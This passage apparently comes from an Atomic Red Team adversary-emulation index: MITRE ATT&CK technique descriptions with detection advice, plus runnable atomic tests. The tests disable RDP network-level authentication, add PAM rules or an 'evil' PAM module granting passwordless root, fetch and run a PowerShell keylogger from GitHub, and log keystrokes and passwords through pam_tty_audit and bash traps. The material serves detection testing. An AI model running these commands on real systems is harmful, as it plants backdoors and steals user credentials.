https://www.microsoft.com/en-us/security/blog/2023/08/24/flax-typhoon-using-legitimate-software-to-quietly-access-taiwanese-organizations/ See also: https://github.com/EmpireProject/Empire/blob/master/lib/modules/powershell/management/enable_rdp.py supported_platforms: - windows input_arguments: Default_UserAuthentication: description: Default UserAuthentication registry value type: string default: '1' executor: command: 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /d 0 /t REG_DWORD /f ' cleanup_command: 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /d #{Default_UserAuthentication} /t REG_DWORD -f >nul 2>&1 ' name: command_prompt T1550.001: technique: modified: '2024-04-12T21:18:28.848Z' name: Application Access Token description: "Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used to access resources in cloud, container-based applications, and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) \n\nOAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service, once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. In AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation: Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials) The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured – for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles)\n\nDirect API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. For example, in AWS environments, an adversary who compromises a user’s AWS API credentials may be able to use the `sts:GetFederationToken` API call to create a federated user session, which will have the same permissions as the original user but may persist even if the original user credentials are deactivated.(Citation: Crowdstrike AWS User Federation Persistence) Additionally, access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: lateral-movement x_mitre_contributors: - Shailesh Tiwary (Indian Army) - Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC) - Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services) - Mark Wee - Ian Davila, Tidal Cyber - Dylan Silva, AWS Security - Jack Burns, HubSpot - Blake Strom, Microsoft Threat Intelligence x_mitre_deprecated: false x_mitre_detection: 'Monitor access token activity for abnormal use and permissions granted to unusual or suspicious applications and APIs. Additionally, administrators should review logs for calls to the AWS Security Token Service (STS) and usage of GCP service accounts in order to identify anomalous actions.(Citation: AWS Logging IAM Calls)(Citation: GCP Monitoring Service Account Usage)' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Office 365 - SaaS - Google Workspace - Containers - IaaS - Azure AD x_mitre_version: '1.6' x_mitre_data_sources: - 'Web Credential: Web Credential Usage' x_mitre_defense_bypassed: - System Access Controls type: attack-pattern id: attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51 created: '2020-01-30T17:37:22.261Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1550/001 external_id: T1550.001 - source_name: Crowdstrike AWS User Federation Persistence description: " Vaishnav Murthy and Joel Eng. (2023, January 30). How Adversaries Can Persist with AWS User Federation. Retrieved March 10, 2023." url: https://www.crowdstrike.com/blog/how-adversaries-persist-with-aws-user-federation/ - source_name: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019 description: Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019. url: https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/ - source_name: AWS Logging IAM Calls description: AWS. (n.d.). Logging IAM and AWS STS API calls with AWS CloudTrail. Retrieved April 1, 2022. url: https://docs.aws.amazon.com/IAM/latest/UserGuide/cloudtrail-integration.html - source_name: AWS Temporary Security Credentials description: AWS. (n.d.). Requesting temporary security credentials. Retrieved April 1, 2022. url: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html - source_name: Microsoft Identity Platform Access 2019 description: Cai, S., Flores, J., de Guzman, C., et. al.. (2019, August 27). Microsoft identity platform access tokens. Retrieved October 4, 2019. url: https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens - source_name: Google Cloud Service Account Credentials description: Google Cloud. (2022, March 31). Creating short-lived service account credentials. Retrieved April 1, 2022. url: https://cloud.google.com/iam/docs/creating-short-lived-service-account-credentials - source_name: GCP Monitoring Service Account Usage description: Google Cloud. (2022, March 31). Monitor usage patterns for service accounts and keys . Retrieved April 1, 2022. url: https://cloud.google.com/iam/docs/service-account-monitoring - source_name: okta description: okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved September 12, 2019. url: https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen - source_name: Rhino Security Labs Enumerating AWS Roles description: 'Spencer Gietzen. (2018, August 8). Assume the Worst: Enumerating AWS Roles through ‘AssumeRole’. Retrieved April 1, 2022.' url: https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration - source_name: Staaldraad Phishing with OAuth 2017 description: Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure. Retrieved October 4, 2019. url: https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] credential-access: T1557: technique: modified: '2024-04-18T14:26:21.852Z' name: Adversary-in-the-Middle description: |- Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002), or replay attacks ([Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212)). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics) For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner) Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens ([Steal Application Access Token](https://attack.mitre.org/techniques/T1528)) and session cookies ([Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)).(Citation: volexity_0day_sophos_FW)(Citation: Token tactics) [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att) Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to [Impair Defenses](https://attack.mitre.org/techniques/T1562) and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access - kill_chain_name: mitre-attack phase_name: collection x_mitre_contributors: - Mayuresh Dani, Qualys - Daniil Yugoslavskiy, @yugoslavskiy, Atomic Threat Coverage project - NEC x_mitre_deprecated: false x_mitre_detection: Monitor network traffic for anomalies associated with known AiTM behavior. Consider monitoring for modifications to system configuration files involved in shaping network traffic flow. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - macOS - Linux - Network x_mitre_version: '2.4' x_mitre_data_sources: - 'Application Log: Application Log Content' - 'Network Traffic: Network Traffic Content' - 'Windows Registry: Windows Registry Key Modification' - 'Network Traffic: Network Traffic Flow' - 'Service: Service Creation' type: attack-pattern id: attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d created: '2020-02-11T19:07:12.114Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1557 external_id: T1557 - source_name: dns_changer_trojans description: Abendan, O. (2012, June 14). How DNS Changer Trojans Direct Users to Threats. Retrieved October 28, 2021. url: https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/125/how-dns-changer-trojans-direct-users-to-threats - source_name: volexity_0day_sophos_FW description: 'Adair, S., Lancaster, T., Volexity Threat Research. (2022, June 15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach. Retrieved July 1, 2022.' url: https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/ - source_name: taxonomy_downgrade_att_tls description: Alashwali, E. S., Rasmussen, K. (2019, January 26). What's in a Downgrade? A Taxonomy of Downgrade Attacks in the TLS Protocol and Application Protocols Using TLS. Retrieved December 7, 2021. url: https://arxiv.org/abs/1809.05681 - source_name: ad_blocker_with_miner description: Kuzmenko, A.. (2021, March 10). Ad blocker with miner included. Retrieved October 28, 2021. url: https://securelist.com/ad-blocker-with-miner-included/101105/ - source_name: Token tactics description: 'Microsoft Incident Response. (2022, November 16). Token tactics: How to prevent, detect, and respond to cloud token theft. Retrieved December 26, 2023.' url: https://www.microsoft.com/en-us/security/blog/2022/11/16/token-tactics-how-to-prevent-detect-and-respond-to-cloud-token-theft/ - source_name: mitm_tls_downgrade_att description: praetorian Editorial Team. (2014, August 19). Man-in-the-Middle TLS Protocol Downgrade Attack. Retrieved December 8, 2021. url: https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/ - source_name: Rapid7 MiTM Basics description: Rapid7. (n.d.). Man-in-the-Middle (MITM) Attacks. Retrieved March 2, 2020. url: https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/ - source_name: tlseminar_downgrade_att description: Team Cinnamon. (2017, February 3). Downgrade Attacks. Retrieved December 9, 2021. url: https://tlseminar.github.io/downgrade-attacks/ - source_name: ttint_rat description: 'Tu, L. Ma, Y. Ye, G. (2020, October 1). Ttint: An IoT Remote Access Trojan spread through 2 0-day vulnerabilities. Retrieved October 28, 2021.' url: https://blog.netlab.360.com/ttint-an-iot-remote-control-trojan-spread-through-2-0-day-vulnerabilities/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1556.003: technique: x_mitre_platforms: - Linux - macOS x_mitre_domains: - enterprise-attack x_mitre_contributors: - Scott Knight, @sdotknight, VMware Carbon Black - George Allen, VMware Carbon Black object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771 type: attack-pattern created: '2020-06-26T04:01:09.648Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1556.003 url: https://attack.mitre.org/techniques/T1556/003 - source_name: Apple PAM url: https://opensource.apple.com/source/dovecot/dovecot-239/dovecot/doc/wiki/PasswordDatabase.PAM.txt description: Apple. (2011, May 11). PAM - Pluggable Authentication Modules. Retrieved June 25, 2020. - source_name: Man Pam_Unix url: https://linux.die.net/man/8/pam_unix description: die.net. (n.d.). pam_unix(8) - Linux man page. Retrieved June 25, 2020. - source_name: Red Hat PAM url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/pluggable_authentication_modules description: Red Hat. (n.d.). CHAPTER 2. USING PLUGGABLE AUTHENTICATION MODULES (PAM). Retrieved June 25, 2020. - source_name: PAM Backdoor url: https://github.com/zephrax/linux-pam-backdoor description: zephrax. (2018, August 3). linux-pam-backdoor. Retrieved June 25, 2020. - source_name: PAM Creds url: https://x-c3ll.github.io/posts/PAM-backdoor-DNS/ description: Fernández, J. M. (2018, June 27). Exfiltrating credentials via PAM backdoors & DNS requests. Retrieved June 26, 2020. modified: '2022-05-11T14:00:00.188Z' name: 'Modify Authentication Process: Pluggable Authentication Modules' description: |- Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is pam_unix.so, which retrieves, sets, and verifies account authentication information in /etc/passwd and /etc/shadow.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM) Adversaries may modify components of the PAM system to create backdoors. PAM components, such as pam_unix.so, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor) Malicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence x_mitre_detection: |- Monitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files. Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). x_mitre_is_subtechnique: true x_mitre_version: '2.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'File: File Modification' - 'Logon Session: Logon Session Creation' x_mitre_permissions_required: - root spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1556.003 atomic_tests: - name: Malicious PAM rule auto_generated_guid: 4b9dde80-ae22-44b1-a82a-644bf009eb9c description: | Inserts a rule into a PAM config and then tests it. Upon successful execution, this test will insert a rule that allows every user to su to root without a password. supported_platforms: - linux input_arguments: path_to_pam_conf: description: PAM config file to modify. type: string default: "/etc/pam.d/su-l" pam_rule: description: Rule to add to the PAM config. type: string default: auth sufficient pam_succeed_if.so uid >= 0 index: description: Index where the rule is inserted. type: integer default: 1 executor: name: sh elevation_required: true command: 'sudo sed -i "#{index}s,^,#{pam_rule}\n,g" #{path_to_pam_conf} ' cleanup_command: 'sudo sed -i "\,#{pam_rule},d" #{path_to_pam_conf} ' - name: Malicious PAM rule (freebsd) auto_generated_guid: b17eacac-282d-4ca8-a240-46602cf863e3 description: | Inserts a rule into a PAM config and then tests it. Upon successful execution, this test will insert a rule that allows every user to su to root without a password. supported_platforms: - linux input_arguments: path_to_pam_conf: description: PAM config file to modify. type: string default: "/etc/pam.d/su" pam_rule: description: Rule to add to the PAM config. type: string default: auth sufficient pam_succeed_if.so uid >= 0 index: description: Index where the rule is inserted. type: integer default: 8 executor: name: sh elevation_required: true command: 'sudo sed -i "" "#{index}s,^,#{pam_rule}\n,g" #{path_to_pam_conf} ' cleanup_command: 'sudo sed -i "" "/#{pam_rule}/d" #{path_to_pam_conf} ' - name: Malicious PAM module auto_generated_guid: 65208808-3125-4a2e-8389-a0a00e9ab326 description: | Creates a PAM module, inserts a rule to use it, and then tests it. Upon successful execution, this test will create a PAM module that allows every user to su to root without a password. supported_platforms: - linux input_arguments: path_to_pam_conf: description: PAM config file to modify. type: string default: "/etc/pam.d/su-l" pam_rule: description: Rule to add to the PAM config. type: string default: auth sufficient /tmp/pam_evil.so index: description: Index where the rule is inserted. type: integer default: 1 path_to_pam_module_source: description: Path to PAM module source code. type: path default: PathToAtomicsFolder/T1556.003/src/pam_evil.c path_to_pam_module: description: Path to PAM module object type: path default: "/tmp/pam_evil.so" dependencies: - description: 'The PAM development library must be installed to build the PAM module ' prereq_command: 'if [ -f /usr/include/security/pam_modules.h ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'if [ -n "`which apt-get`" ]; then sudo apt-get -y install libpam0g-dev; elif [ -n "`which yum`" ]; then sudo yum -y install pam-devel; fi ' - description: 'The PAM module must exist on disk at specified location (#{path_to_pam_module}) ' prereq_command: 'if [ -f #{path_to_pam_module} ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'sudo gcc -shared -fPIC -o #{path_to_pam_module} #{path_to_pam_module_source} ' executor: name: sh elevation_required: true command: 'sudo sed -i "#{index}s,^,#{pam_rule}\n,g" #{path_to_pam_conf} ' cleanup_command: 'sudo sed -i "\,#{pam_rule},d" #{path_to_pam_conf} ' T1056.001: technique: modified: '2023-10-01T14:01:12.167Z' name: 'Input Capture: Keylogging' description: "Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems.(Citation: Talos Kimsuky Nov 2021)\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include:\n\n* Hooking API callbacks used for processing keystrokes. Unlike [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004), this focuses solely on API functions intended for processing keystroke data.\n* Reading raw keystroke data from the hardware buffer.\n* Windows Registry modifications.\n* Custom drivers.\n* [Modify System Image](https://attack.mitre.org/techniques/T1601) may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks) " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: collection - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_contributors: - TruKno x_mitre_deprecated: false x_mitre_detection: 'Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`.(Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes, monitor driver installs, and look for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows - macOS - Linux - Network x_mitre_version: '1.2' x_mitre_data_sources: - 'Driver: Driver Load' - 'Process: OS API Execution' - 'Windows Registry: Windows Registry Key Modification' type: attack-pattern id: attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4 created: '2020-02-11T18:58:11.791Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1056/001 external_id: T1056.001 - source_name: Talos Kimsuky Nov 2021 description: An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021. url: https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html - source_name: Cisco Blog Legacy Device Attacks description: Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020. url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954 - source_name: Adventures of a Keystroke description: 'Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.' url: http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1056.001 atomic_tests: - name: Input Capture auto_generated_guid: d9b633ca-8efb-45e6-b838-70f595c6ae26 description: | Utilize PowerShell and external resource to capture keystrokes [Payload](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1056.001/src/Get-Keystrokes.ps1) Provided by [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1) Upon successful execution, Powershell will execute `Get-Keystrokes.ps1` and output to key.log. supported_platforms: - windows input_arguments: filepath: description: Name of the local file, include path. type: path default: "$env:TEMP\\key.log" dependencies: - description: 'Get-Keystrokes PowerShell script must exist on disk at PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1 ' prereq_command: 'if (Test-Path "PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -ItemType Directory (Split-Path "PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1") -Force | Out-Null Invoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1056.001/src/Get-Keystrokes.ps1 -OutFile "PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1" executor: command: '&"$PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1" -LogPath #{filepath} ' cleanup_command: 'Remove-Item $env:TEMP\key.log -ErrorAction Ignore ' name: powershell elevation_required: true - name: Living off the land Terminal Input Capture on Linux with pam.d auto_generated_guid: 9c6bdb34-a89f-4b90-acb1-5970614c711b description: "Pluggable Access Module, which is present on all modern Linux systems, generally contains a library called pam_tty_audit.so which logs all keystrokes for the selected users and sends it to audit.log. All terminal activity on any new logins would then be archived and readable by an adversary with elevated privledges.\n\nPasswords hidden by the console can also be logged, with 'log_passwd' as in this example. If root logging is enabled, then output from any process which is later started by root is also logged, even if this policy is carefully enabled (e.g. 'disable=*' as the initial command).\n\nUse 'aureport --tty' or other audit.d reading tools to read the log output, which is binary. Mac OS does not currently contain the pam_tty_audit.so library. \n" dependencies: - description: 'Checking if pam_tty_audit.so is installed ' prereq_command: 'test -f ''/usr/lib/pam/pam_tty_audit.so -o /usr/lib64/security/pam_tty_audit.so'' ' get_prereq_command: 'echo "Sorry, you must install module pam_tty_audit.so and recompile, for this test to work" ' supported_platforms: - linux executor: command: | if sudo test -f /etc/pam.d/password-auth; then sudo cp /etc/pam.d/password-auth /tmp/password-auth.bk; fi; if sudo test -f /etc/pam.d/system-auth; then sudo cp /etc/pam.d/system-auth /tmp/system-auth.bk; fi; sudo touch /tmp/password-auth.bk sudo touch /tmp/system-auth.bk sudo echo "session required pam_tty_audit.so enable=* log_password" >> /etc/pam.d/password-auth sudo echo "session required pam_tty_audit.so enable=* log_password" >> /etc/pam.d/system-auth cleanup_command: | sudo cp -f /tmp/password-auth.bk /etc/pam.d/password-auth sudo cp -f /tmp/system-auth.bk /etc/pam.d/system-auth name: sh elevation_required: true - name: Logging bash history to syslog auto_generated_guid: 0e59d59d-3265-4d35-bebd-bf5c1ec40db5 description: "There are several variables that can be set to control the appearance of the bash command prompt: PS1, PS2, PS3, PS4 and PROMPT_COMMAND. The contents of these variables are executed as if they had been typed on the command line. The PROMPT_COMMAND variable \"if set\" will be executed before the PS1 variable and can be configured to write the latest \"bash history\" entries to the syslog.\n\nTo gain persistence the command could be added to the users .bashrc or .bash_aliases or the systems default .bashrc in /etc/skel/ \n" supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'This test requires to be run in a bash shell and that logger and tee are installed. ' prereq_command: | if [ "$(echo $SHELL)" != "/bin/bash" ]; then echo -e "\n***** Bash not running! *****\n"; exit 1; fi if [ ! -x "$(command -v logger)" ]; then echo -e "\n***** logger NOT installed *****\n"; exit 1; fi if [ ! -x "$(command -v tee)" ]; then echo -e "\n***** tee NOT installed *****\n"; exit 1; fi get_prereq_command: 'echo "" ' executor: name: sh elevation_required: true command: | PROMPT_COMMAND='history -a >(tee -a ~/.bash_history |logger -t "$USER[$$] $SSH_CONNECTION ")' echo "\$PROMPT_COMMAND=$PROMPT_COMMAND" tail /var/log/syslog cleanup_command: 'unset PROMPT_COMMAND ' - name: Logging sh history to syslog/messages auto_generated_guid: b04284dc-3bd9-4840-8d21-61b8d31c99f2 description: "There are several variables that can be set to control the appearance of the bash command prompt: PS1, PS2, PS3, PS4 and PROMPT_COMMAND. The contents of these variables are executed as if they had been typed on the command line. The PROMPT_COMMAND variable \"if set\" will be executed before the PS1 variable and can be configured to write the latest \"bash history\" entries to the syslog.\n\nTo gain persistence the command could be added to the users .shrc or .profile \n" supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'This test requires to be run in a bash shell and that logger and tee are installed. ' prereq_command: | if [ "$(echo $SHELL)" != "/bin/sh" ]; then echo -e "\n***** sh not running! *****\n"; exit 1; fi if [ ! -x "$(command -v logger)" ]; then echo -e "\n***** logger NOT installed *****\n"; exit 1; fi get_prereq_command: 'echo "" ' executor: name: sh elevation_required: true command: | PS2=`logger -t "$USER" -f ~/.sh_history` $PS2 tail /var/log/messages cleanup_command: 'unset PS2 ' - name: Bash session based keylogger auto_generated_guid: 7f85a946-a0ea-48aa-b6ac-8ff539278258 description: "When a command is executed in bash, the BASH_COMMAND variable contains that command. For example :~$ echo $BASH_COMMAND = \"echo $BASH_COMMAND\". The trap command is not a external command, but a built-in function of bash and can be used in a script to run a bash function when some event occurs. trap will detect when the BASH_COMMAND variable value changes and then pipe that value into a file, creating a bash session based keylogger. \n\nTo gain persistence the command could be added to the users .bashrc or .bash_aliases or the systems default .bashrc in /etc/skel/ \n" supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'This test requires to be run in a bash shell ' prereq_command: 'if [ "$(echo $0)" != "bash" ]; then echo -e "\n***** Bash not running! *****\n"; exit 1; fi ' get_prereq_command: 'echo "" ' input_arguments: output_file: description: File to store captured commands type: string default: "/tmp/.keyboard.log" executor: name: bash elevation_required: false command: | trap 'echo "$(date +"%d/%m/%y %H:%M:%S.%s") $USER $BASH_COMMAND" >> #{output_file}' DEBUG echo "Hello World!" cat #{output_file} cleanup_command: 'rm #{output_file} ' - name: SSHD PAM keylogger auto_generated_guid: 81d7d2ad-d644-4b6a-bea7-28ffe43becca description: 'Linux PAM (Pluggable Authentication Modules) is used in sshd authentication. The Linux audit tool auditd can use the pam_tty_audit module to enable auditing of TTY input and capture all keystrokes in a ssh session and place them in the /var/log/audit/audit.log file after the session closes. ' supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'This test requires sshd and auditd ' prereq_command: | if [ ! -x "$(command -v sshd)" ]; then echo -e "\n***** sshd NOT installed *****\n"; exit 1; fi if [ ! -x "$(command -v auditd)" ]; then echo -e "\n***** auditd NOT installed *****\n"; exit 1; fi get_prereq_command: 'echo "" ' input_arguments: user_account: description: Basic ssh user account for testing. type: string default: ubuntu executor: name: sh elevation_required: true command: "cp -v /etc/pam.d/sshd /tmp/\necho \"session required pam_tty_audit.so disable=* enable=* open_only log_passwd\" >> /etc/pam.d/sshd\nsystemctl restart sshd\nsystemctl restart auditd\nssh #{user_account}@localhost \nwhoami\nsudo su\nwhoami\nexit\nexit\n" cleanup_command: 'cp -fv /tmp/sshd /etc/pam.d/ ' - name: Auditd keylogger auto_generated_guid: a668edb9-334e-48eb-8c2e-5413a40867af description: "The linux audit tool auditd can be used to capture 32 and 64 bit command execution and place the command in the /var/log/audit/audit.log audit log. \n" supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'This test requires sshd and auditd ' prereq_command: 'if [ ! -x "$(command -v auditd)" ]; then echo -e "\n***** auditd NOT installed *****\n"; exit 1; fi ' get_prereq_command: 'echo "" ' executor: name: sh elevation_required: true command: "auditctl -a always,exit -F arch=b64 -S execve -k CMDS \nauditctl -a always,exit -F arch=b32 -S execve -k CMDS\nwhoami; ausearch -i --start $(date +\"%d/%m/%y %H:%M:%S\") \n" cleanup_command: 'systemctl restart auditd ' - name: MacOS Swift Keylogger auto_generated_guid: aee3a097-4c5c-4fff-bbd3-0a705867ae29 description: | Utilizes a swift script to log keys to sout. It runs for 5 seconds then dumps the output to standard. Input Monitoring is required. Input Monitoring can be enabled in System Preferences > Security & Privacy > Privacy > Input Monitoring. Referece: https://cedowens.medium.com/taking-esf-for-a-nother-spin-6e1e6acd1b74 supported_platforms: - macos input_arguments: swift_src: description: Location of swift script type: path default: PathToAtomicsFolder/T1056.001/src/MacOSKeylogger.swift dependency_executor_name: bash dependencies: - description: 'swift script must exist at #{swift_src}, and the terminal must have input monitoring permissions. ' prereq_command: 'if [ -f #{swift_src} ]; then chmod +x #{swift_src}; else exit 1; fi ' get_prereq_command: 'echo "" ' executor: command: 'swift #{swift_src} -keylog ' cleanup_command: 'kill `pgrep swift-frontend` ' name: bash elevation_required: false T1110.001: technique: 